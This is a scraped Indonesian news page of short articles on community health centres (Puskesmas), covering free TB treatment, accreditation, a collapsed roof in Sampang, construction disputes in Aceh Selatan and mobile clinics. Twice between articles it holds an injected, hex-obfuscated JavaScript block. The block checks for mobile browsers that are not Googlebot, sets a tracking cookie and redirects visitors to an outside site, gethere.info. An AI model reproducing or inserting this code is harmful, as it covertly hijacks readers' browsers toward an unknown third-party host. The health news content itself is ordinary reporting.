Pengobatan TB Bisa di Semua Puskesmas

’’Pengobatan TBC bisa dilakukan di semua Puskesmas yang ada di wilayah Kabupaten Rohil,’’ ujar Sekda Rohil Ahad (26/3) di sela-sela pelaksanaan Car Free Day

Sekda Rohil, Drs H Surya Arfan MSi berbaur dengan warga saat berjalan santai di Car Free Day. Pada kesempatan itu, Dia mengajak dan menghimbau masyarakat untuk berhati-hati dan waspadai terhadap penyakit TB atau dikenal dengan sebutan Tuberkolusis. Batuk yang tidak kunjung sembuh selama dua minggu agar secepat untuk segera dibawa berobat.

’’Pengobatan TBC bisa dilakukan di semua Puskesmas yang ada di wilayah Kabupaten Rohil,’’ ujar Surya Ahad (26/3) di sela-sela pelaksanaan car free day yang dipusatkan di halaman gedung Badan Pengelola Keuangan dan Aset Daerah di Jalan Mardeka Bagansiapi-api.

Selama pengobatan TB di semua puskesmas, lanjut pria yang hobi memancing ini menambahkan, dilaksanakan tanpa dipungut bayaran atau gratis. ’’Kalau ada pengobatan TBC di Puskesmas yang bayar, segera informasikan kepada saya,’’ ujarnya.

Perlunya mewaspadai penyakit TB ini, ternyata tidak terlepas dari aksi ketuk pintu yang telah dilaksanakan di semua Puskesmas yang berada di negeri seribu kubah ini. Dengan memegang gadget milik unsur dinas kesehatan Kabupaten Rohil, Surya menginformasikan hasil pelaksanaan ketuk pintu tersebut.

Dari sekitar 3.082  pintu rumah masyarakat yang telah diketuk petugas kesehatan di semua daerah di Kabupaten Rohil, lanjut Surya, ditemukan sekitar 900 warga yang diduga TB. Sedangkan yang positif menderita penyakit TB sebanyak 468 orang. ’’Khusus untuk batuk berdahak sebanyak 36 orang. Ini baru sampel,’’ kata Surya.

Melalui kebijakan nasional lanjut Surya, penanganan masalah TB dikemas dalam istilah TOSS (Temukan TB, Obati Sampai Sembuh). ’’Kesimpulannya, penyakit TB itu dapat diobati,’’ kata Surya.

Selain itu, putra kelahiran Bagansiapi-api ini mengajak kepada semua petugas puskesmas untuk senantiasa meningkatkan kegiatan ketuk pintu. ’’Jadi, kegiatan yang sudah dilakukan itu dapat terus ditingkatkan,’’ kata Surya.

SUMBER

Ini Pentingnya Akreditasi Puskesmas

Akreditasi Puskesmas dapat mendukung program pemerintah dalam meningkatkan mutu pelayanan kesehatan dan tingkat kepuasan masyarakat.

Pemerintah Kabupaten Bangka Barat, Bangka Belitung mendorong status akreditasi Puskesmas Jebus untuk meningkatkan mutu pelayanan kesehatan.


FOKUS: Akreditasi Puskesmas


Bupati Bangka Barat, Parhan Ali mengatakan, pihaknya mendukung upaya akreditasi tersebut untuk mutu pelayanan karena kesehatan merupakan urusan wajib yang diberikan pemerintah kepada masyarakat.

Parhan menandaskan akreditasi puskesmas ini dapat mendukung program pemerintah dalam meningkatkan mutu pelayanan kesehatan dan tingkat kepuasan masyarakat.

Parhan Ali pada acara penggalangan komitmen bersama menuju akreditasi Puskesmas Jebus yang dihadiri seluruh aparatur yang terdiri dari petugas medis maupun staf administrasi yang bertugas di Puskesmas Jebus dan sejumlah pejabat di lingkungan pemkab setempat.

Menurut Parhan, akreditasi merupakan bentuk komitmen bersama untuk menuju puskesmas yang berkualitas. Tujuan akhirnya meningkatkan mutu pelayanan kesehatan bagi masyarakat yang ada di Kecamatan Jebus dan sekitarnya.

Kepala Dinas Kesehatan Kabupaten Bangka Barat, Kasnety mengatakan akreditasi merupakan mekanisme regulasi untuk mendorong peningkatan mutu pelayanan kesehatan dan kinerja puskesmas.

“Proses akreditasi dimulai dari tahapan sosialisasi, penggalangan komitmen bersama, penilaian dan tahapan lain yang harus dilalui. Untuk itu kami berharap seluruh elemen bersungguh-sungguh mendukung komitmen tersebut,” kata Kasnety, Selasa (21/03/2017).

Ia menjelaskan, akreditasi mengacu pada Permenkes RI Nomor 75 Tahun 2014 tentang Puskesmas dan Permenkes Nomor 46 Tahun 2015 tentang Akreditasi Puskesmas, Klinik Pratama, Tempat Praktik Dokter dan Dokter Gigi.

SUMBERvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Telan Dana hingga 5 M, Puskesmas Banyuanyar Ambrol

Puskesmas yang dibangun dengan pagu anggaran sebesar Rp 5.188.504.000 dari Dana Alokasi khusus (DAK) tahun 2016 itu kemarin malam 3 atap ruangannya ambrol.

Pembangunan proyek fisik Pusat Kesehatan Masyarakat (Puskesmas) yang terletak di Kelurahan Banyuanyar, Kabupaten Sampang, menjadi cermin buruknya manajemen pembangunan di kota Bahari.

Pasalnya, Puskesmas yang dibangun dengan pagu anggaran sebesar Rp 5.188.504.000 dari Dana Alokasi khusus (DAK) tahun 2016 itu kemarin malam 3 atap ruangannya ambrol. Akibatnya, tiga pasien di ruang anak harus diungsikan kerumah sakit terdekat.

Pantauan di lokasi, sejumlah genting dan plafon penyangga kontruksi bangunan tersebut runtuh ke lantai bawah, tak ayal sejumlah ruangan tertutup akibat kejadian tersebut. Diantaranya, ruang obat, musala, ruang UKM dan ruang laundry.

“Seluruh pegawai diliburkan karena banyak atap yang runtuh, bahkan tiga pasien tadi malam dipindah ke rumah sakit,” kata salah seorang cleaning servis yang engan disebut identitasnya, Minggu (19/3/2017).

Terpisah, Kepala Bagian (Kabag) Pembangunan Pemkab Sampang, Abd Hannan saat dikonfirmasi membenarkan adanya atap bangunan Puskesmas yang ambrol. Pihaknya berdalih kerusakan itu akibat hempasan angin puting beliung yang terjadi kemarin malam.

“Memang kemarin malam ada puting beliung, jadi atapnya ambrol, tapi perlu diketahui, rekanan masih punya tangungjawab untuk melakukan perbaikan karena masih dalam masa pemeliharaan,” tegasnya.

Disinggung adanya indikasi pengerjaan yang dilakukan asal-asalan, pihaknya membantah akan kondisi tersebut. Bahkan Hannan sesumbar bahwa pembangunan tersebut sudah sesuai dengan perencanaan.

“Kami rasa sudah sesuai dengan perencanaan karena meski sudah selesai dan telah diresmikan tapi belum dilakukan audit oleh BPK. Namun, perlu diketahui saya akan menekan pihak rekanan untuk segera melakukan perbaikan, karena Puskesmas adalah merupakan kebutuhan masyarakat,” tandasnya.

SUMBER

Akreditasi Puskesmas, Antara Keharusan Dan Kebutuhan

Akreditasi Puskesmas wajib dilaksanakan secara terus menerus untuk mempertahankan standar mutu, dengan penetapan status akreditasi.

Akreditasi wajib dilaksanakan secara terus menerus untuk mempertahankan standar mutu, dengan penetapan status akreditasi.


FOKUS: Akreditasi Puskesmas


Ketika masyarakat datang berobat ke Puskesmas, maka mereka tidak akan bertanya, apakah Puskesmas tersebut sudah terakreditasi atau belum. Bahkan kata Akreditasi sendiri mungkin belum pernah terbersit di benak mereka.

Penanganan yang cepat, layanan yang ramah dan tindakan yang aman serta bertanggungjawab menjadi harapan masyarakat untuk datang ke Puskesmas.

Sebagai fasilitas pelayanan kesehatan tingkat pertama yang mudah diakses, Puskesmas sudah dilirik bukan hanya oleh masyarakat strata menengah ke bawah, tetapi juga oleh strata atas.

Apalagi dengan berlakunya Jaminan Kesehatan Nasional (JKN) yang menegaskan bahwa upaya pelayanan kesehatan harus berjenjang mulai dari tingkat pertama. Hanya kasus-kasus yang tidak bisa terselesaikan di puskesmas yang dapat dirujuk ke fasilitas pelayanan kesehatan kedua atau tingkat rujukan.

Hal ini menjadi peluang bagi Puskesmas untuk unggul dalam persaingan menyediakan pelayanan kesehatan. Bertambah cerdasnya masyarakat membuat mereka tidak sekedar mencari fasilitas pelayanan yang mudah, tetapi akan berupaya mencari yang lebih memberikan kenyamanan, walaupun sedikit sulit aksesnya.

Sampai saat ini, Puskesmas menyatakan bahwa pelayanan kesehatan yang telah diberikan sudah sesuai dengan prosedur. Ironinya, dalam kenyataan, masih banyak keluhan masyarakat, mulai dari ketidakramahan hingga alur pelayanan yang terkesan semrawut, tidak mendahulukan pasien-pasien tertentu seperti yang berusia lanjut atau yang memiliki kebutuhan khusus dan lain-lain.

Berbagai upaya telah dilakukan untuk memperbaiki keadaan ini, tetapi hasil yang diharapkan kadang belum maksimal. Satu kelemahan adalah, Puskesmas belum dapat menjalankan sistem penyelenggaraannya sesuai yang diharapkan, apalagi melakukan peningkatan mutu dari waktu ke waktu.

Sistem Penyelenggaraan Puskesmas sebenarnya telah diatur dalam Peraturan Menteri Kesehatan Nomor 75 Tahun 2014, yaitu Penyelenggaraan yang meliputi pelayanan kesehatan atau upaya kesehatan.

Karena ruang kerja Puskesmas adalah suatu wilayah, maka penyelenggaraan upaya kesehatan mencakup upaya kesehatan terhadap masyarakat di wilayahnya, inilah yang disebut dengan Upaya Kesehatan Masyarakat (UKM).

Kemudian Puskesmas turut menyelenggarakan pelayanan kesehatan secara klinis, sehingga upaya kesehatan juga mencakup upaya kesehatan individual, inilah yang disebut dengan Upaya Kesehatan Perorangan (UKP).

Selain itu penyelenggaraan Puskesmas harus memiliki tata kelola yang baik agar sistem dapat berjalan dengan seharusnya, sehingga memerlukan adanya pengadministrasian manajemen.

Untuk mengetahui apakah sistem penyelenggaraan Puskesmas sudah berjalan seperti yang diharapkan, maka dilakukan standarisasi penyelenggaraan Puskesmas baik UKM, UKP hingga administrasi manajemennya.

Standarisasi yang dimaksud adalah penetapan indikator-indikator yang seharusnya dicapai.

Indikator- indikator ini nantinya mengalami peningkatan, yang menunjukkan bahwa standar Puskesmas terus berproses mencapai suatu kualitas atau mutu. Puskesmas dikatakan telah memenuhi standar dalam penyelenggaraannya apabila terjadi peningkatan mutu secara terus menerus (continous of quality).

Bagaimana mengetahui bahwa Puskesmas sudah memenuhi standar dalam penyelenggaraannya, atau telah berhasil meningkatkan mutu penyelenggaraan dari waktu ke waktu? Cara yang paling baik untuk mengetahuinya adalah melakukan audit terhadap penyelenggaraan Puskesmas.

Audit yang dilakukan secara berkala, diharapkan akan menjadi pengontrol sehingga standar atau pencapaian mutu Puskesmas tetap berjalan.

Pada umumnya, gambaran suatu audit adalah kegiatan mencari kesenjangan atau hal-hal yang tidak berjalan sebagaimana mestinya.

Sebagai fasilitas kesehatan pemerintah, Puskesmas tidak serta merta berdiri sesempurna mungkin, pasti terdapat kekurangan, sehingga perlu diaudit. Meski demikian, konsep audit yang dibutuhkan oleh Puskesmas bukan sekedar mencari-cari kesalahan. Audit Puskesmas harus memberikan efek yang signifikan dan berkesinambungan.

Pemerintah melalui Kementerian Kesehatan RI telah mengeluarkan tata cara mengaudit Puskesmas dengan Konsep yang dinamakan Akreditasi melalui sistem pembinaan yang terencana.

Keluarnya Peraturan Menteri Kesehatan Nomor 46 tahun 2015 tentang Akreditasi menjelaskan bagaimana metode dan teknisnya.

Secara operasional, Akreditasi dapat dikatakan sebagai pengakuan yang diberikan oleh Kementerian Kesehatan lewat Badan atau Komisi Akreditasi terhadap fasilitas pelayanan kesehatan seperti Puskesmas, yang dianggap telah memenuhi standar mutu pada manajemen dan layanannya.

Pengakuan ini diberikan dalam secarik kertas yang disebut sertifikat. Bukan melihat bentuknya, tetapi makna akreditasi sendiri yang perlu dipahami, terutama efek perbaikan bagi Puskesmas.

Pelaksanaan akreditasi tidak seperti audit biasa, tetapi lebih menekankan pembinaan dan bimbingan terhadap Puskesmas. Oleh karena itu audit Akreditasi disebut dengan survei dan pelaksanaan akreditasi Puskesmas disebut survei akreditasi Puskesmas.

Survei yang dimaksud adalah tinjauan terhadap kondisi atau keadaan Puskesmas, apakah sudah sesuai dengan standar mutu, jika belum maka akan direkomendasikan perbaikannya.

Akreditasi wajib dilaksanakan secara terus menerus untuk mempertahankan standar mutu, dengan penetapan status akreditasi.

Tingkatan status disusun secara berjenjang dengan sebutan strata, dimulai dari yang terendah yaitu strata Akreditasi Dasar, Madya, Utama dan yang tertinggi adalah Paripurna. Strata- strata ini menjadi bukti standar yang sudah dicapai Puskesmas.

Agar terlaksananya kegiatan survei akreditasi, diperlukan suatu alat penunjang. Alat yang dimaksud disebut dengan Instrumen Akreditasi. Karena alat ini adalah penguji dan pengukur bagaimana penyelenggaraan Puskesmas sesuai standar, maka instrumen akreditasi wajib dipahami dengan sebaik-baiknya.

Instrumen Akreditasi sendiri disusun dengan suatu pola tinjau yang disesuaikan untuk puskesmas, terutama pada ide layanan mutu. Ada sembilan Bab dalam instrumen akreditasi.

Tiga Bab pertama (Bab I, Bab II dan Bab III) adalah instrumen untuk administrasi manajemen, tiga Bab selanjutnya (Bab IV, Bab V dan Bab VI) adalah instrumen untuk UKM dan tiga bab terakhir (Bab VII, Bab VIII dan Bab IX) adalah instrumen untuk UKP.

Bab-bab ini juga dikelompokkan dalam pola Bab Operasional (Bab I, Bab IV dan Bab VII), Bab Kepemimpinan (Bab II, Bab V dan Bab VIII) dan Bab Mutu (Bab III, Bab VI dan Bab IX).

Terlaksananya Akreditasi Puskesmas bukan ditentukan oleh kegiatan survei selama tiga hari saja, tetapi bagaimana membuat puskesmas sedemikian rupa agar benar-benar layak untuk mendapat pengakuan.

Kondisi ini tidak boleh sesaat saja, tetapi harus kontinyu, terstruktur dan menyeluruh hingga ke sistemnya. Oleh karena itu perlu adanya komitmen mulai dari Kepala Puskesmas hingga staf terkecil, disertai dengan pembinaan dan pendampingan dari  Dinas Kesehatan.

Apabila Puskesmas benar-benar telah siap, maka akan diusulkan untuk dilakukan survei Akreditasi.

Begitu repotnya menjadikan Puskesmas terakreditasi, sehingga terlihat seperti suatu keterpaksaan atau keharusan. Mungkin beberapa karyawan Puskesmas akan merasa berat, apalagi jika sistem baru berjalan dan butuh penyesuaian.

Tetapi bila Puskesmas memang memiliki niat yang luhur untuk melayani kesehatan masyarakat dengan lebih baik, berbekal komitmen, integrasi serta dukungan dari semua sektor dan program maka sebenarnya akreditasi itu adalah lebih dari sekedar kebutuhan. (ASR)

Oleh: dr. Armein Sjuhary Rowi, M.Kes
Kepala Seksi Pelayanan Kesehatan Primer dan Tradisional Dinas Kesehatan Kota Bogor.

Sumber antaranews.com

Ini Klarifikasi Kadis Kesehatan dan Kontraktor Pelaksana Puskesmas Sawang

Kepala Dinas Kesehatan Aceh Selatan, membantah tudingan anggota DPRK Aceh Selatan, Tgk Adi Zulmawart belum maksimalnya yankes di Puskesmas Sawang.

Kepala Dinas Kesehatan Aceh Selatan, Mardaleta M Thaher, membantah tudingan anggota DPRK Aceh Selatan, Tgk Adi Zulmawart belum maksimalnya pelayanan kesehatan di pusat kesehatan masyarakat kecamatan tersebut.

“Memang benar Tgk Adi Zulmawar ada menghubungi saya via ponsel, tapi waktu itu kebetulan saya sedang mengikuti rapat sehingga tidak bisa melayani pembicaraan yang bersangkutan dalam jangka waktu lama. Janji saya akan menghubungi kembali pun lupa karena kesibukan terlalu padat,” kata Mardaleta M Thaher di Tapaktuan, Rabu (8/3/2017).

Sedangkan menyangkut beberapa item pekerjaan di Puskesmas Sawang masih ada yang belum sempurna, menurut Mardaleta segera akan diperbaiki kembali oleh pihaknya dalam waktu dekat ini.

“Sebenarnya seperti pintu kamar mandi dan septic tank tersebut memang sudah terpasang sejak awal, tapi dibongkar kembali dalam rangka finishing. Namun semua itu kembali akan dipasang lagi dalam minggu ini sekaligus dengan perbaikan berbagai item pekerjaan lainnya yang masih belum sempurna,” kata Mardaleta.

Demikian juga terkait arus listrik PLN, katanya, sudah terpasang sejak awal. “Itu mungkin sudah dibongkar kembali, sebab sejak awal fasilitas listrik PLN memang sudah terpasang. Tunggu dulu saya hubungi Kepala Puskesmas Sawang, saya pertanyakan terkait hal itu,” ujar Mardaleta.

Sementara itu, Kontraktor Pelaksana Pembangunan Proyek Puskesmas Sawang dari CV Agung Jaya Prima, Ruslan mengaku bahwa pihaknya tidak mengetahui pengerjaan septic tank masuk ke dalam item pekerjaan lanjutan tahun 2016.

“Saya tidak tahu jika septic tank tersebut masuk dalam item pekerjaan lanjutan tahun 2016. Mereka dari pihak Dinas Kesehatan pun tidak memberitahukan kepada kami. Tapi hal itu tidak masalah, dimana item pekerjaan masih ada kekurangan nanti akan kami selesaikan kembali,” katanya.

SUMBER

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Puskesmas Perlu Jemput Bola

Kesehatan masyarakat, hendaknya menjadi perhatian serius Pemerintah Kota (Pemko) Palangka Raya. Bukti keseriusan itu salah satunya diwujudkan dalam bentuk jemput bola saat memberikan pelayanan.

Kesehatan masyarakat, hendaknya menjadi perhatian serius Pemerintah Kota (Pemko) Palangka Raya. Bukti keseriusan itu salah satunya diwujudkan dalam bentuk jemput bola saat memberikan pelayanan.

Pemko melalui Satuan Organisasi Perangkat Daerah (SOPD) terkait didorong untuk menghidupkan kembali puskesmas keliling.

“Sehingga bisa melakukan jemput bola untuk memberikan layanan kesehatan gratis kepada masyarakatnya,” tutur Ketua DPRD Kota Palangka Raya, Sigit K Yunianto, belum lama ini.

Seperti kegiatan layanan kesehatan gratis yang dilakukan perhimpunan dokter umum Indonesia, beberapa waktu lalu. Mereka memberikan layanan gratis dengan langsung mendatangi masyarakat di Km 14 Tjilik Riwut.

Pasalnya di sana, terlihat animo masyarakat cukup tinggi. Banyak masyarakat yang ikut dan memeriksakan kesehatannya. “Kita sangat mendukung jika pemerintah kota dapat melakukan seperti yang mereka lakukan,” sebutnya.

Sepertinya, lanjut dia dengan jemput bola masyarakat lebih sadar akan kesehatan. Pemerintah kota memiliki puskesmas keliling, yang jika diaktifkan pasti akan sangat baik imbasnya ke masyarakat. “Kita harap dengan begitu, bisa tercipta masyarakat Palangka Raya yang sehat,” tuturnya.

Karena, kesehatan merupakan kebutuhan primer dan utama setiap orang. Manusia yang sehat akan mampu bekerja dan menghasilkan uang untuk menghidupi keluarganya. Setiap perputaran uang nantinya akan memberikan income kepada pemerintah.

“Kesehatan juga erat hubungannya dengan sekor ekonomi,” tukasnya.

SUMBER

Pemprov ini Naikkan Status Puskesmas Setara Rumah Sakit Pratama

Banyaknya keluhan yang disampaikan para lansia dan veteran terkait dengan pelayanan kesehatan bagi anggota BPJS, Pemerintah Provinsi (Pemprov) Kalimanan Timur (Kaltim) akan meningkatkan status Puskesmas yang ada menjadi setingkat dengan pelayanan rumah sakit Pratama.

Tujuannya adalah agar pelayanan di tingkat pertama dapat melayani semua anggota BPJS yang ada.

Meiliana, Assisten 1 Pemprov Kaltim mengatakan implementasi Jaminan Kesehatan Nasional Kartu Indonesia Sehat (JKN-KIS) merupakan lanjutan dari pelayanan kesehatan yang telah ada sebelumnya, seperti Taspen atau Askes.

“Jika sebelumnya veteran, pensiunan itu menggunakan Taspen saat ini sudah menjadi satu yakni BPJS,” ujar Meiliana dalam Sarasehan BPJS Kesehatan dengan organisasi PWRI, LVRI, Pepabri di Hotel Bumi Senyiur, Samarinda, Kamis 2 Maret 2017.

Namun, karena masih dirasa kurang, Pemprov Kaltim akan terus membenahi kualitas pelayanan. Pembenahan itu adalah dengan meningkatkan kualitas Puskesmas sehingga pelayanannya sama dengan rumah sakit Tipe C.

Saat ini, semua ruang di rumah sakit, baik itu kelas 1 maupun kelas 3 sudah dilayani di ruang ber-AC. Namun, kondisi tersebut terus ditingkatkan termasuk masalah ketersediaan tenaga kesehatan. Pemprov Kaltim juga akan meminta kepada rumah sakit dan BPJS untuk memberikan layanan khusus kepada lansia dan manula.

“Mereka sudah manula sehingga sepantasnya jika diberi pelayanan yang lebih baik dari warga yang masih muda. Kita akan minta mereka membuat tempat pelayanan bagi manula,” kata Mei.

Sementara itu, Andyani Budi Lestari, Direktur Kepesertaan dan Pemasaran BPJS Kesehatan, mengatakan acara yang diadakan BPJS Kesehatan ini bertujuan memperluas cakupan kepesertaan dan meningkatkan pengetahuan manfaat program JKN.

BPJS Kesehatan juga menjalin kerja sama dengan organisasi pensiunan veteran, sipil, dan TNI Polri. Dasar hukumnya adalah Peraturan Presiden Nomor 28 Tahun 2016 tentang mekanisme peserta fasilitas kesehatan rujukan khusus bagi pensiunan veteran, sipil, dan TNI Polri.

BPJS Kesehatan, karena itu, akan memberikan pelayanan sistem khusus buat para veteran, baik sipil maupun TNI Polri.

“Kami ingin mewujudkan pelayanan kesehatan yang maksimal buat masyarakat Indonesia,” ujar Andyani.

Agar pelayanan kepada masyarakat dapat maksimal dan sesuai dengan keinginan anggotanya, imbuh Andyani, maka program ini harus dibantu oleh anggotanya.

Saat ini, Indonesia menuju satu negara yang modern dengan 174.741 orang yang memiliki jaminan sosial.

 

Sumber

Warga Mengeluh, Sudah 7 Bulan Tidak Ada Petugas Kesehatan di Pustu Kampung Long Suluy

